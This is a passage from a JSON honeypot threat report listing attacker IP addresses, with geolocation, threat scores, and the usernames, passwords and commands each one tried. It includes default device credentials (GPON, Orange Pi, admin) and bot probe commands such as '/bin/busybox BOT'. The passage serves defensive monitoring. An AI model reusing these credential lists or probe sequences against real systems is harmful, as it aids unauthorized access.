        "Suricata": 23
      }
    },
    "178.141.244.237": {
      "attack_count": 38,
      "first_seen": "2026-04-08T21:58:04.847Z",
      "last_seen": "2026-04-08T22:03:59.746Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kirov",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T21:58:04.847000+00:00",
        "last_seen_30d": "2026-04-08T22:14:01.290000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "5.61.90.139": {
      "attack_count": 32,
      "first_seen": "2026-04-30T17:55:48.725Z",
      "last_seen": "2026-04-30T17:58:57.348Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Hamina",
      "asn": 213468,
      "as_org": "HD-decor Oy",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:55:48.725000+00:00",
        "last_seen_30d": "2026-04-30T18:00:00.517000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 18
      }
    },
    "103.187.147.16": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:54:30.346Z",
      "last_seen": "2026-04-18T00:11:06.880Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2024Kelltech",
        "2024Kelltech",
        "2025$kelltech",
        "@2026kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:54:30.346000+00:00",
        "last_seen_30d": "2026-04-18T00:12:10.539000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 24
      }
    },
    "185.93.89.135": {
      "attack_count": 28,
      "first_seen": "2026-04-10T12:47:04.087Z",
      "last_seen": "2026-04-15T16:37:13.848Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "!2025Kelltech",
        "2026@Root",
        "Kelltech!2019",
        "Kelltech!2021",
        "Kelltech!2023"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:47:04.087000+00:00",
        "last_seen_30d": "2026-04-15T16:38:22.962000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "167.172.215.171": {
      "attack_count": 23,
      "first_seen": "2026-04-10T17:29:42.072Z",
      "last_seen": "2026-04-11T10:02:17.734Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234#kelltech",
        "@2024Kelltech",
        "Kelltech2024#",
        "kelltech$1234"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:29:42.072000+00:00",
        "last_seen_30d": "2026-04-11T10:03:25.853000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "77.68.16.93": {
      "attack_count": 22,
      "first_seen": "2026-04-30T22:03:41.849Z",
      "last_seen": "2026-04-30T22:04:28.467Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:03:41.849000+00:00",
        "last_seen_30d": "2026-04-30T22:06:38.596000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "216.10.217.251": {
      "attack_count": 17,
      "first_seen": "2026-04-01T01:59:19.778Z",
      "last_seen": "2026-04-01T01:59:24.153Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "enable",
        "sh"
      ],
      "passwords_attempted": [
        "qwerty",
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "shell",
        "system",
        "/bin/busybox BOT",
        "enable",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:59:19.778000+00:00",
        "last_seen_30d": "2026-04-01T02:00:30.533000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 2
      }
    },
    "49.233.95.165": {
      "attack_count": 16,
      "first_seen": "2026-04-29T04:05:14.149Z",
      "last_seen": "2026-04-29T04:08:22.537Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:05:14.149000+00:00",
        "last_seen_30d": "2026-04-29T04:09:28.130000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 7
      }
    },
    "49.72.111.25": {
      "attack_count": 16,
      "first_seen": "2026-04-03T06:24:44.234Z",
      "last_seen": "2026-04-03T06:27:53.226Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:24:44.234000+00:00",
        "last_seen_30d": "2026-04-03T06:38:01.507000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "72.255.26.24": {
      "attack_count": 16,
      "first_seen": "2026-04-12T12:27:16.089Z",
      "last_seen": "2026-04-12T12:28:59.490Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:27:16.089000+00:00",
        "last_seen_30d": "2026-04-12T12:30:00.225000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "14.103.114.205": {
      "attack_count": 15,
      "first_seen": "2026-04-27T22:32:02.552Z",
      "last_seen": "2026-04-27T22:56:04.906Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "root02",
        "wangzeyu"
      ],
      "passwords_attempted": [
        "1",
        "1240776147",
        "root512"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:32:02.552000+00:00",
        "last_seen_30d": "2026-04-27T23:06:05.796000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "217.154.92.76": {
      "attack_count": 15,
      "first_seen": "2026-04-26T09:51:07.798Z",
      "last_seen": "2026-04-29T03:48:08.147Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T13:10:05+00:00",
        "last_seen_30d": "2026-04-29T03:50:43.316000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 15,
        "Tanner": 2,
        "Honeytrap": 1
      }
    },
    "189.60.181.114": {
      "attack_count": 14,
      "first_seen": "2026-04-27T14:01:03.743Z",
      "last_seen": "2026-04-27T14:05:09.773Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T13:49:34.127000+00:00",
        "last_seen_30d": "2026-04-28T03:07:23.035000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 14
      }
    },
    "192.109.200.220": {
      "attack_count": 14,
      "first_seen": "2026-04-09T14:25:23.449Z",
      "last_seen": "2026-04-12T04:13:57.002Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "AdminGPON",
        "support"
      ],
      "passwords_attempted": [
        "ALC#FGU",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 64.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 22,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T01:19:08+00:00",
        "last_seen_30d": "2026-04-23T12:53:29.641000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 242,
        "Honeytrap": 152,
        "Cowrie": 14,
        "Heralding": 1
      }
    },
    "164.92.179.185": {
      "attack_count": 12,
      "first_seen": "2026-04-27T17:09:26.824Z",
      "last_seen": "2026-04-27T17:09:28.284Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 7,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T15:32:33+00:00",
        "last_seen_30d": "2026-04-30T22:04:54.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 18,
        "Cowrie": 12,
        "Dionaea": 1
      }
    },
    "80.188.223.187": {
      "attack_count": 12,
      "first_seen": "2026-04-30T08:03:46.340Z",
      "last_seen": "2026-04-30T08:03:51.413Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Kun\u010dina",
      "asn": 5610,
      "as_org": "O2 Czech Republic, a.s.",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T08:03:46+00:00",
        "last_seen_30d": "2026-04-30T08:04:54.290000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "152.32.205.206": {
      "attack_count": 10,
      "first_seen": "2026-04-07T19:41:24.471Z",
      "last_seen": "2026-04-07T19:41:28.183Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 77.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 28,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:06:04.101000+00:00",
        "last_seen_30d": "2026-04-28T22:33:01.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 17,
        "Cowrie": 10,
        "Dionaea": 7
      }
    },
    "182.114.198.247": {
      "attack_count": 10,
      "first_seen": "2026-04-28T04:37:32.911Z",
      "last_seen": "2026-04-28T04:38:37.387Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T04:37:32.911000+00:00",
        "last_seen_30d": "2026-04-28T04:39:42.019000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.14.124.6": {
      "attack_count": 10,
      "first_seen": "2026-04-26T05:22:34.107Z",
      "last_seen": "2026-04-26T05:22:41.831Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:22:34.107000+00:00",
        "last_seen_30d": "2026-04-26T05:23:45.411000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.186.181": {
      "attack_count": 10,
      "first_seen": "2026-04-05T13:32:00.188Z",
      "last_seen": "2026-04-26T12:35:17.110Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:54:08+00:00",
        "last_seen_30d": "2026-04-30T18:14:14.549000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 115,
        "Honeytrap": 47,
        "Cowrie": 10,
        "ElasticPot": 8,
        "Ciscoasa": 6,
        "Dionaea": 3
      }
    },
    "66.132.186.201": {
      "attack_count": 10,
      "first_seen": "2026-04-09T07:38:18.226Z",
      "last_seen": "2026-04-09T07:38:59.978Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T19:46:26+00:00",
        "last_seen_30d": "2026-04-30T06:29:21.077000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 44,
        "Cowrie": 10,
        "Dionaea": 4
      }
    },
    "91.132.49.94": {
      "attack_count": 10,
      "first_seen": "2026-04-30T06:04:20.053Z",
      "last_seen": "2026-04-30T06:05:20.159Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 47516,
      "as_org": "Dehost Internet Ve Bilisim Teknolojileri Sanayi Ticaret Limited Sirketi",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:04:20.053000+00:00",
        "last_seen_30d": "2026-04-30T06:06:25.540000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "130.211.57.13": {
      "attack_count": 9,
      "first_seen": "2026-04-27T03:16:31.181Z",
      "last_seen": "2026-04-27T03:16:36.034Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:16:31.181000+00:00",
        "last_seen_30d": "2026-04-27T03:17:44.861000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "45.156.129.82": {
      "attack_count": 9,
      "first_seen": "2026-04-17T02:33:39.785Z",
      "last_seen": "2026-04-17T02:33:56.258Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 64.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 24,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T23:16:35+00:00",
        "last_seen_30d": "2026-04-26T08:00:04.411000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 27,
        "Cowrie": 9
      }
    },
    "128.0.7.3": {
      "attack_count": 8,
      "first_seen": "2026-04-28T18:38:34.476Z",
      "last_seen": "2026-04-28T18:46:42.796Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:38:34.476000+00:00",
        "last_seen_30d": "2026-04-28T18:47:45.216000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "178.141.244.220": {
      "attack_count": 8,
      "first_seen": "2026-04-25T17:40:55.476Z",
      "last_seen": "2026-04-25T17:41:46.927Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kirov",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
